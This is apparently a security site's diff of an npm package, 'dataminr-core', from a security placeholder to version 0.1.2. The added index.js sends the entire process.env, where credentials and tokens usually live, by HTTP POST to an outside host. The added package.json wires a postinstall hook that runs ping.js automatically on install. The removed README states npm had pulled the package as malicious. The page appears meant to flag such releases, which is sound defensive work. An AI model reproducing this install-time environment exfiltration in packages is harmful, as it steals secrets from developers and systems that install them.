dataminr-core 0.0.1-security → 0.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dataminr-core might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +15 -3
- package/ping.js +3 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
|
3
|
+
function BugCrowdProof(arr) {
|
4
|
+
return "TheSecEng";
|
5
|
+
}
|
6
|
+
|
7
|
+
function CallPing() {
|
8
|
+
|
9
|
+
const URL = 'http://trmnl.io:2080'
|
10
|
+
console.log('Calling: ' + URL)
|
11
|
+
axios.post(URL, JSON.stringify(process.env)).then((res) => {
|
12
|
+
console.log(res);
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
export { BugCrowdProof, CallPing };
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "dataminr-core",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.1.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node ./ping.js"
|
9
|
+
},
|
10
|
+
"type": "module",
|
11
|
+
"keywords": [],
|
12
|
+
"author": "",
|
13
|
+
"license": "ISC",
|
14
|
+
"dependencies": {
|
15
|
+
"axios": "^1.2.5",
|
16
|
+
"dataminr-core": "^0.1.2"
|
17
|
+
}
|
6
18
|
}
|
package/ping.js
ADDED
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dataminr-core for more information.
|